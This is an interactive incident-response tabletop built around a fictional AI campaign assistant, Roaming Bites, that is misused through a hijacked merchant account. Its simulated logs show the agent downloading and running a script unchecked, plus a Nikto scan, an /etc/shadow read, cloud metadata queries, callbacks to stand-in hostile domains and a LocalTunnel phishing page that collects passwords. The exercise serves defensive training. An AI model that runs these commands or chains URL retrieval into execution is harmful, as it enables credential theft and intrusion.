Roaming BitesIncident console
SEV-2 · RB-2026-0912 12 Sep 2026 · UTC
10:00

Incident-response tabletop

A promotion has started behaving like infrastructure.

Your team is responding for Roaming Bites, an AI-assisted platform used by food trucks and restaurants to create campaigns, images and promotional pages.

Your operating rule

Separate signal from story

KnownSupported directly by evidence
AssumedPlausible, but not established
MissingEvidence you would request next

Groups of four

Build a cross-functional team

Choose four organisational representatives from six. Any participant can record the decision. The two groups left out create capability gaps, but never hide core evidence or add time.

4roles chosen onceEffects reveal only after decisions

What engineers know before the incident

Campaign Assistant — simplified path

MerchantPrompt + assets
→
Campaign AssistantWeb application
→
OrchestratorStarts task
→
Workspace5-minute container
→
ServicesDrive · web · AWS

Merchants are told that the assistant creates campaign assets and previews. The underlying execution model is not shown in the product interface.

Setup step · groups of four

Build your incident team

Choose four organisational representatives. You will not know when each team becomes important until the incident unfolds.

Six cards · four seats

Who is in the incident room?

Every card represents a real organisational group. Their strengths are visible; their phase-specific contribution stays hidden.

0/ 4 selected

Choose exactly four representatives. Their hidden incident effects will be revealed later.

Shared operating view

Operating picture

A current, shared view of the incident using only information revealed so far.

INCIDENT TIME · UTC—
What is this view?

This is a lightweight common operating picture for the response team—not a score and not a replacement for the original evidence. It brings together service condition, important signals, confirmed facts, working theories and unanswered questions so different teams can make decisions from the same current understanding.

RB Incident MonitorRB-2026-0912
Awaiting Phase 1No active incident
Severity—
ServiceOperational
⌁
Signal timelineCumulative · newest first
0 signals

Signals appear when Phase 1 opens.

⌕
Current assessmentKnown · inferred · unknown
Known
No incident evidence revealed.
Working theory
No working theory yet.
Still unknown
Open Phase 1 to begin.

Phase 1 · 09:18 UTC

A campaign breaks the baseline

Several weak signals have produced one low-severity monitoring ticket.

Low
RB DetectSearch · Last 60 minutes● Live
correlation_id="corr_91d7" | expand contributing_signals
TimeSeverityRuleEntitySummary
09:17:12LOWMerchant behaviour correlationmerchant_1047Risk 62/100 · new login context + asset burst + credential-request language
09:15:58INFOCredential-form heuristicdraft_c_77314 of 14 drafts combine “sign in” copy with email and password fields
09:14:03INFOAsset generation burstmerchant_104714 assets in 8 min · baseline median 2/day, previous maximum 4/day
09:07:51INFONew login contextses_8f21cFirst-seen IP, device and country in 90-day history
Why this stayed low severity: the correlation score of 62 only just crossed the alert threshold of 60. A new login context, rapid asset creation and credential-request language raised the score, but the system had not yet observed a published campaign or external link. It opened an analyst alert and took no automated action.
Weekend Customer WinbackEmber & Olive · Draft

Help me create a weekend win-back campaign for people who have not ordered recently. Make 14 variations so I can test different formats.

I can draft the copy, create matching images and prepare previews. What action should customers take?

Create a creator partnership page. Use “Sign in to claim your campaign credit,” with email and password fields. Use my saved brand style.

I created 14 draft assets. Four include the partnership sign-in form; nothing has been published.

awsCloudTrail Lake · Event detailus-east-1
{
  "eventTime": "2026-09-12T09:09:58Z",
  "eventSource": "ecs.amazonaws.com",
  "eventName": "RunTask",
  "awsRegion": "us-east-1",
  "userIdentity": {
    "type": "AssumedRole",
    "arn": "arn:aws:sts::123456789012:assumed-role/rb-campaign-orchestrator-prod/run-2bd41"
  },
  "requestParameters": {
    "cluster": "rb-campaign-prod",
    "taskDefinition": "rb-campaign-workspace:42",
    "count": 1,
    "enableExecuteCommand": false,
    "tags": [
      {"key": "merchant_id", "value": "merchant_1047"},
      {"key": "workspace_id", "value": "ws_74ac1"}
    ]
  },
  "responseElements": {"failures": []},
  "sourceIPAddress": "10.42.7.19"
}
How to read this: CloudTrail proves that the orchestrator service role created a five-minute ECS task for merchant_1047 and records the task role it passed. Commands run inside that container appear only in the application’s runtime telemetry, not in this CloudTrail event.
Roaming Bites IdentitySession detail
Result
SUCCESS
Account
marketing@ember-olive.example
Time
2026-09-12 09:07:51 UTC
Method
Password
Session risk
LOW · 28/100
Source
203.0.113.77 · Warsaw, Poland
Device
Chrome 150 · Windows · first seen
90-day baseline
Netherlands only · 3 known devices
Previous login
11 Sep · 16:42 UTC · Utrecht, Netherlands
Draft campaign page imitating a social platform and requesting an account email and password

Generated draft preview · not published. The page asks visitors to “Sign in to claim your campaign credit” using an email address and password, matching the campaign request.

Commit to an action

What deserves investigation now?

Phase 2 · 09:25 UTC

When a URL becomes a tool

The same session asks the assistant to use an external campaign builder.

Medium
Weekend Customer WinbackEmber & Olive · Draft

Use this campaign builder as well:
hxxps://raw[.]githubusercontent[.]com/campaign-labs/promo-kit/main/render-campaign.py

I can use external campaign resources when preparing assets. I'll retrieve it for this preview.

Go ahead and make sure it works with my saved campaign files.

The builder was downloaded and started in the campaign workspace.

Campaign Agent TraceDecision · act_7d91Model + tools
{
  "goal": "use external campaign builder",
  "input": {
    "type": "user_provided_url",
    "host": "raw.githubusercontent.com"
  },
  "plan": [
    {"tool": "web.retrieve", "result": "write:/work/render-campaign.py"},
    {"tool": "process.start", "arguments": "python /work/render-campaign.py"}
  ],
  "policy_decision": {
    "classification": "campaign_helper",
    "result": "allow",
    "human_approval": false,
    "content_signature_required": false
  }
}
Why this matters: the model suggested retrieval and execution, but it did not grant itself permission. The application approved each tool call separately and the orchestrator performed them. The missing control is policy over the combined URL → download → process chain.
RB Retrieval GatewayRequest detail● Complete
Time
2026-09-12 09:25:57 UTC
Workspace
ws_8bd20
Requested host
raw.githubusercontent.com
HTTP result
200 · 4.8 KB · text/plain
Destination
/work/render-campaign.py
SHA-256
9a6d…45c1
Reputation
KNOWN SERVICE
Content inspection
File type and size only
Execution decision
Not evaluated by retrieval gateway
Interpretation: GitHub Raw is a legitimate public hosting service, so blocking GitHub by reputation alone would miss the issue. The risky decision was allowing a merchant-supplied object to move directly from a public URL into an executable process without verification or approval.

Campaign workspace capability policy

Effective controls for this run

CapabilityEffective ruleApprovalTelemetry
web.retrieveAny HTTPS destinationNoneURL, status, bytes
process.startAny workspace fileNoneCommand + uid
package.installAllowedNoneCommand only
connector.driveMerchant grantNoneProvider audit
Outbound networkAny destinationNoneDNS + flow logs

Combined-path gap: downloading a public file and running Python can both support campaign creation. Here, the output of the first tool became the input to the second. The policy approved the calls individually and never assessed that resulting user-controlled URL → executable process path.

Agent-boundary decision

Where do you break this action chain?

Phase 3 · 09:36 UTC

The five-minute workspace

A second workspace ran under the same merchant session. Its disk is already gone.

Medium
awsAmazon GuardDuty · Finding detailsHIGH · 8.0
!
Trojan:EC2/PhishingDomainRequest!DNS

EC2 instance queried a domain involved in phishing

First observed
2026-09-12 09:26:03 UTC
Resource
Instance · i-0c84f271a4b91e620
Resource role
ACTOR
DNS domain
promo-assets-cdn.example
Protocol
UDP · request not blocked
Finding count
1
View finding JSON
{
  "type": "Trojan:EC2/PhishingDomainRequest!DNS",
  "severity": 8,
  "resource": {
    "resourceType": "Instance",
    "instanceDetails": {
      "instanceId": "i-0c84f271a4b91e620",
      "privateIpAddress": "10.42.2.14",
      "iamInstanceProfile": {
        "arn": "arn:aws:iam::123456789012:instance-profile/rb-ecs-node-prod"
      }
    }
  },
  "service": {
    "resourceRole": "ACTOR",
    "action": {
      "actionType": "DNS_REQUEST",
      "dnsRequestAction": {
        "domain": "promo-assets-cdn.example",
        "protocol": "UDP",
        "blocked": false
      }
    },
    "eventFirstSeen": "2026-09-12T09:26:03Z",
    "count": 1
  }
}
VT
VirusTotal enrichmentCached result · 09:32 UTC
7malicious3suspicious65undetected
Categories
phishing · newly observed
First submitted
3 days ago
Related domain
campaign-metrics-sync.example
Assessment
HIGH RISK
url
urlscan enrichmentExisting scans only · 09:32 UTC
Results
3 existing scans
Page title
PictoPop Partner Access
Observed paths
/login · /partner · /collect
Brand signal
PictoPop
Available correlation EC2 node: i-0c84f271a4b91e620 Task ENI: 10.42.18.7 Task: 2f94bcf0d883 Tag: workspace_id=ws_8bd20
09:25:57 · Egressraw.githubusercontent.comGET render-campaign.py · 200
→
09:26:01 · Runtimepython render-campaign.pyuid=0 · exit not recorded
→
09:26:03–07 · DNS + flowOutbound callbackspromo-assets-cdn.example
campaign-metrics-sync.example

What this establishes: GitHub Raw delivered a file, the file was invoked, and the workspace then reached two suspicious domains. Timing supports a relationship but does not prove which code initiated each request, what responses contained, or whether AWS credentials were obtained.

awsCloudWatch Logs InsightsLog group: /ecs/rb-campaign-workspace
fields @timestamp, event_type, uid, detail | filter workspace_id = "ws_8bd20"
@timestampevent_typeuiddetail
09:25:57.604web.retrieve0raw.githubusercontent.com/.../render-campaign.py · 200
09:26:01.228process.start0python /work/render-campaign.py
09:26:08.114process.start0apt-get update
09:26:19.702process.start0apt-get install -y nmap nikto
09:27:02.009process.start0nmap [arguments not retained]
09:27:28.331file.open0/etc/shadow · allowed
09:28:41.105process.start0nikto -h http://127.0.0.1:3000 -o /work/nikto-results.json
09:28:58.774file.write0/work/nikto-results.json · 18 KB
09:29:07.412file.write0/work/promotion-assets.zip · includes site files
Source and limit: the Campaign Assistant emitted these command and process events from inside the workspace and sent them to CloudWatch Logs. CloudTrail would show AWS control-plane calls such as RunTask, but not shell commands such as apt-get, nmap or reading /etc/shadow.
RB DetectVPC Flow + Resolver + egress proxy● Live
workspace_id="ws_8bd20" | sort timestamp asc
TimeSourceDestinationPortSource logResult
09:25:5710.42.18.7raw.githubusercontent.com443Egress HTTP200
09:26:0310.42.18.7promo-assets-cdn.example53Resolver DNSNOERROR
09:26:0410.42.18.7198.51.100.44443FlowACCEPT
09:26:0610.42.18.7campaign-metrics-sync.example53Resolver DNSNOERROR
09:26:0710.42.18.7203.0.113.120443FlowACCEPT
09:26:1010.42.18.7packages.example-mirror.internal443FlowACCEPT
09:27:0410.42.18.710.42.18.1–12mixedFlowACCEPT / REJECT
09:27:3110.42.18.7127.0.0.13000RuntimeOPEN
09:27:4410.42.18.7169.254.169.25480Egress HTTP200
09:28:1010.42.18.7www.googleapis.com443DNS + FlowACCEPT
09:27:44 GET http://169.254.169.254/latest/meta-data/      200
09:27:45 GET http://169.254.169.254/latest/meta-data/iam/  200
What this proves: the root-running container could reach the EC2 metadata paths and received HTTP 200 responses. Because response bodies were not captured, the team cannot claim that node-role credentials were returned, stolen or used. Preserve task and node evidence before making that conclusion.
◆Google Workspace + RB Connector auditEmber & Olive
Workspace ws_8bd20 expired at 09:30:52Maximum duration reached · filesystem deleted · no snapshot · task role rb-campaign-task-prod
TimeEventItemActor / client
09:28:02OAuth grant usedRoaming Bites Campaign Assistantmarketing@ember-olive.example
09:28:13Create folder/Roaming Bites Campaigns/Weekend WinbackRoaming Bites
09:28:17Uploadnikto-results.json · 18 KBRoaming Bites connector
09:28:20Uploadpromotion-assets.zip · 944 KBRoaming Bites
09:28:24Change sharingWeekend Winback folder · anyone with link: viewerRoaming Bites connector
09:34:06Downloadpromotion-assets.zipRoaming Bites
09:28:24.611 drive.permissions.create  file_id=drv_weekend_winback  type=anyone  role=reader
09:28:24.894 connector.result          link_ref=shr_6e12  returned_to_session=ses_8f21c
Why these events matter: the merchant authorised this Drive connector 91 days earlier, and saving campaign files is expected. Here it preserves the Nikto scan and phishing assets after the workspace expires. The sharing change creates another access path: anyone holding the folder link can read its current and later files without a Roaming Bites session.

Permission overview

Four roles sit around the workspace

Only the task role is intended for application code. Metadata reachability creates a question about the EC2 node role; it does not prove that role credentials were used.

rb-campaign-task-prodAttached to workspace taskReview
{
  "Effect": "Allow",
  "Action": [
    "bedrock:InvokeModel",
    "s3:GetObject", "s3:PutObject",
    "logs:CreateLogStream", "logs:PutLogEvents"
  ],
  "Resource": [
    "arn:aws:bedrock:*::foundation-model/*",
    "arn:aws:s3:::rb-campaign-artifacts-prod/merchant_1047/*",
    "arn:aws:logs:us-east-1:123456789012:log-group:/ecs/rb-campaign-workspace:*"
  ]
}
rb-campaign-execution-prodECS runtime, not application roleExpected

Pulls approved ECR images and configures the CloudWatch log driver. It should not be available to processes inside the task.

ecr:GetAuthorizationToken
ecr:BatchGetImage
ecr:GetDownloadUrlForLayer
logs:CreateLogStream
logs:PutLogEvents
rb-campaign-orchestrator-prodStarts and stops workspacesReview
ecs:RunTask       resource: rb-campaign-workspace:*
ecs:StopTask      resource: rb-campaign-prod/*
iam:PassRole      resource: rb-campaign-task-prod,
                            rb-campaign-execution-prod
secretsmanager:GetSecretValue
                  resource: secret:/rb/connectors/*

The wildcard belongs to the orchestrator service role, not the workspace task role. It could expose connector secrets across merchants if the orchestrator were compromised, so it is a design gap worth fixing. The current evidence does not show that the attacker assumed this role or read those secrets.

rb-ecs-node-prodEC2 host roleSensitive
AmazonEC2ContainerRegistryReadOnly
AmazonSSMManagedInstanceCore
ecs:RegisterContainerInstance
ecs:SubmitTaskStateChange
logs:PutLogEvents

The workspace used its own temporary task-role credentials for these permissions. Separate HTTP logs show that it could also reach the EC2 metadata service, which may expose the more privileged node role if container-to-IMDS controls fail. The captured evidence does not include the response body, so access to node credentials remains unproven.

Commit to an action

What do you contain or preserve first?

Phase 4 · 10:02 UTC

Public fallout

A second merchant has reported a suspicious partnership page. The story is now public.

High
InboxOpen incidentsMerchant supportAbuse reports

Ticket #RB-18429 · Merchant safety

Is this merchant promotion real?

From: owner@little-comet-kitchen.example · 09:58 UTC

Ember & Olive sent us a link to a Roaming Bites merchant partnership. It opened a page that looked like a popular social platform and asked us to sign in again.

We entered our email address and password. The page showed an error, so we changed the password and contacted you. The link no longer works.

▧ screenshot.png 1.5 MB
hxxps://ember-weekend-7f3a[.]loca[.]lt/partner
Reported fake Roaming Bites creator partnership login page

Screenshot supplied by Little Comet Kitchen. The reported page is no longer available.

RB DetectCorrelated workspace activity● Live
workspace_id="ws_d913e" OR drive_folder_id="drv_weekend_winback" | sort timestamp asc
TimeSourceEventDetail
09:46:11Drive auditdownloadpromotion-assets.zip
09:46:20CloudWatchprocess.startpython -m http.server 3000
09:46:32Resolver DNSqueryloca.lt · NOERROR
09:46:34CloudWatchprocess.startlt --port 3000
09:46:36Runtimenetwork.listen0.0.0.0:3000
09:49:18HTTP accessPOST /collectfields=email,password · 302 · submission_id=sub_4c81
09:49:19Drive audituploadcaptured-submissions.ndjson · records=1 · actor=rb-connector
09:51:11ECStask.stopmaximum duration reached
09:52:03Drive auditdownloadcaptured-submissions.ndjson · actor=anonymous link user · 198.51.100.86
Scope of impact: the fake page was hosted from the temporary workspace through LocalTunnel. The POST shows that it received credential fields; the Drive upload links that submission to the publicly shared folder, and the anonymous download proves retrieval outside Roaming Bites. Deployment and file-integrity records show no change to the main product website.
Fictional Threadline post alleging Roaming Bites AI is hosting phishing pages

412 votes · 96 comments · a journalist has requested confirmation.

New evidence · released after the public-response decision
“I made a lunch promotion last week, but I didn't create any of this. I didn't know the campaign assistant could install software or put a website online.”— Ember & Olive, reached by telephone
Roaming Bites IdentityAccount investigation
MFA status
NOT ENROLLED
Merchant policy
MFA optional
New-device alert
Disabled by default
Reauthentication
Not required for Drive or campaign preview
Last familiar login
11 Sep · 16:42 · Utrecht · saved device
Suspicious login
12 Sep · 09:07 · 203.0.113.77 · new Windows device
Credential intelligence
Email and matching password pattern in unrelated breach corpus
Exact password reuse
Not confirmed

Public-response decision

How do you respond to the public post?

Phase 5 · 10:24 UTC

The session is gone. The job isn't.

The merchant account is suspended, but a queued campaign starts after containment.

High
RB DetectContainment actions + subsequent activity● Live
merchant_id="merchant_1047" | sort timestamp asc
TimeSourceActionEntityResult
10:05:12IdentityTerminateSessionses_8f21cSUCCESS
10:05:33Campaign APISuspendMerchantmerchant_1047SUCCESS
10:06:02ECSStopTaskws_d913eSTOPPED
10:08:14OrchestratorStartQueuedJobjob_91c2STARTED
10:08:21Drive auditdownloadpromotion-assets.zipALLOWED
10:08:29Resolver DNSquerycampaign-metrics-sync.exampleBLOCKED
10:08:31Resolver DNSqueryloca.ltBLOCKED
Why activity continued: there was no second merchant login. Job job_91c2 was accepted at 09:49 while session ses_8f21c was still valid, then executed at 10:08 after the account was suspended. This points to stored authorization on queued work, not a failed logout.
Roaming Bites Campaign JobsJob detail · job_91c2
{
  "job_id": "job_91c2",
  "merchant_id": "merchant_1047",
  "created_at": "2026-09-12T09:49:42Z",
  "created_by_session": "ses_8f21c",
  "scheduled_for": "2026-09-12T10:08:00Z",
  "started_at": "2026-09-12T10:08:14Z",
  "authorization": {
    "evaluated_at": "enqueue",
    "merchant_state_at_execution": "not_checked"
  },
  "source_asset": "drive://campaigns/promotion-assets.zip",
  "workspace_id": "ws_f047a"
}
Control gap: the scheduler stored “allowed” at enqueue time with no effective expiry. At execution it checked neither the merchant’s current suspension state nor the original session. Delayed work therefore converted an old decision into new compute authority.
awsCloudTrail Lake · Event detailus-east-1
{
  "eventTime": "2026-09-12T10:08:14Z",
  "eventSource": "ecs.amazonaws.com",
  "eventName": "RunTask",
  "userIdentity": {
    "type": "AssumedRole",
    "arn": "arn:aws:sts::123456789012:assumed-role/rb-campaign-orchestrator-prod/scheduler-17a4"
  },
  "requestParameters": {
    "cluster": "rb-campaign-prod",
    "taskDefinition": "rb-campaign-workspace:42",
    "tags": [
      {"key": "merchant_id", "value": "merchant_1047"},
      {"key": "job_id", "value": "job_91c2"},
      {"key": "workspace_id", "value": "ws_f047a"}
    ]
  },
  "responseElements": {"failures": []}
}
Correlation required: CloudTrail shows rb-campaign-orchestrator-prod starting the task, because an AWS service role—not the merchant—made the API call. The application job record is needed to trace that task back to session ses_8f21c and prove it came from a pre-suspension request.
Connector AdministrationMerchant grant status
Merchant
merchant_1047 · Ember & Olive
Provider
Google Drive
Connected app
Roaming Bites Campaigns
Grant status
ACTIVE
Scope
drive.file
Granted
14 Mar 2026 · merchant approval
Last used
12 Sep 2026 · 10:08:21 UTC
Session suspension effect
Does not revoke provider grant
Public folder permission
ACTIVE · ANYONE WITH LINK
Grant revocation effect
Stops connector use; does not remove existing public permission
Files identified
nikto-results.json · promotion-assets.zip · captured-submissions.ndjson
Evidence hold
Audit metadata only; controlled content copy not yet created
awsAuthority inventory · incident scope10:24 UTC
“Temporary” does not mean “harmless.”Each authority has its own lifetime, renewal path and revocation control.
Human
Cognito access tokenMerchant session · issued 09:07
60 min

Short-lived bearer token. Terminate session and deny refresh.

Human
Cognito refresh tokenMerchant session · issued 09:07
30 days

Renewable authority. Revoke the session family, not only the access token.

AWS
ECS task-role STS credentialsrb-campaign-task-prod
Temporary

Rotated by AWS. Stopping one task does not prevent a newly authorised task receiving new credentials.

AWS
EC2 node-role credentials via IMDSrb-ecs-node-prod · exposure questioned
Temporary

Metadata was reachable; use IMDSv2, hop limits and workload isolation. Use is not proven.

OAuth
Google Drive grantAuthorised 91 days ago
Renewable

External delegated authority survived the Roaming Bites session suspension until revoked.

Permission
Public Drive folderAnyone with link · viewer
Durable

Anonymous read access survives session termination and OAuth revocation until the sharing permission is removed.

Decision
Queued-job authorizationEvaluated at enqueue · 09:49
No expiry

Not a credential: a stored allow decision. It must be re-evaluated when the job runs.

Not seen
IAM access keyNo access key appears in this incident
Long-lived

A useful contrast: remains valid until disabled, deleted or expired by an added control.

Recovery decision

What must containment include before recovery?

What level of damage should one compromised merchant account be allowed to cause?

Live incident record

What happened—and what we learned

This record grows with the exercise. It includes only phases opened, decisions recorded and role effects revealed so far.

IncidentRB-2026-0912
StatusIn progress
SeverityNot declared
Service stateOperational

Responding groups

Your incident team

Summary

The incident record begins when Phase 1 is opened.

Impact

No impact has been established.

Trigger

Not yet established.

Detection

No detection evidence has been reviewed.

Resolution and recovery

Final containment position not yet recorded.

Contributing conditions

No contributing conditions have been established.

Incident timeline

Events and team decisions

0 decisions · 0 of 5 phases opened
UTCStageWhat happenedYour response

Learning review

What helped

Learning review

Organisational gaps

Follow-up

Candidate action items

Confirm owners and due dates after the exercise
Action derived from decisionTypeSuggested ownerStatus

Facilitator only

Debrief and evidence key

Use after all groups have committed their final position.

Ground truth

An attacker accessed Ember & Olive with a valid password. The Drive token stayed in the connector broker, but the compromised session could ask that broker to upload files and change sharing. The attacker supplied a GitHub Raw URL; application policy allowed the combined retrieve-and-execute chain without approval or content verification. The helper called two attacker-controlled domains. The root-running workspace installed Nikto, scanned the local site, read /etc/shadow, reached metadata paths and saved the Nikto result and phishing kit to a Drive folder made readable to anyone with its link. A later workspace restored the kit, exposed the page through LocalTunnel and stored a submitted email address and password in the public folder. An anonymous link user downloaded that submission. After the session was terminated, a previously accepted job still started because authorization was checked only when queued. The active Drive grant supplied the stored kit; new DNS controls blocked the callback and tunnel, but grant revocation alone would not remove existing public sharing. The main Roaming Bites frontend was not modified.

Evidence supports

  • Valid merchant-session activity
  • The Drive token remained brokered
  • User-controlled content became executable code
  • A DNS request to a phishing-related domain
  • Root-level tool execution, Nikto scanning and metadata reachability
  • Drive persistence and anyone-with-link sharing
  • Credential collection, Drive storage and anonymous retrieval
  • Public exposure through LocalTunnel
  • Queued execution after session termination

Evidence does not prove

  • The model received raw customer records
  • GitHub itself was malicious or compromised
  • Which payload came from the suspicious domain
  • Exact password reuse for the initial compromise
  • Use of stolen AWS credentials
  • Access to every merchant's Drive
  • Compromise of the production frontend
  • Who controlled the anonymous Drive client
  • New attacker login activity after containment

Detection conversation

GuardDuty attributed the DNS finding to the EC2 node. Responders still needed ECS task, ENI and workspace-tag correlation to identify the merchant session. VirusTotal and urlscan supplied enrichment; they were not the source of the GuardDuty finding.

context inventoryrestricted data → workspaceexternal URL → processphishing-domain DNSnode → task correlationnew device + high-impact actionmetadata accessnetwork scanningpackage installationtunnel-service DNScross-workspace artifact reusesuspended identity + new taskconnector use after suspension

Engineering conversation

Do not end with “enable MFA.” Ask which capabilities remain safe after identity failure: non-root execution, fixed tools, mediated retrieval, policy over combined action chains, metadata isolation, bounded egress, private-by-default connector outputs, approval for public sharing and publishing, and durable runtime telemetry. The final phase adds authorization at execution time, cancellation of queued work, removal of public permissions, connector revocation and explicit recovery gates.

Open the full facilitator learning guide →

Open the technical evidence answer deck ↗

Phase 109:18 UTC

The promotion that wasn’t

A familiar account.
An unfamiliar rhythm.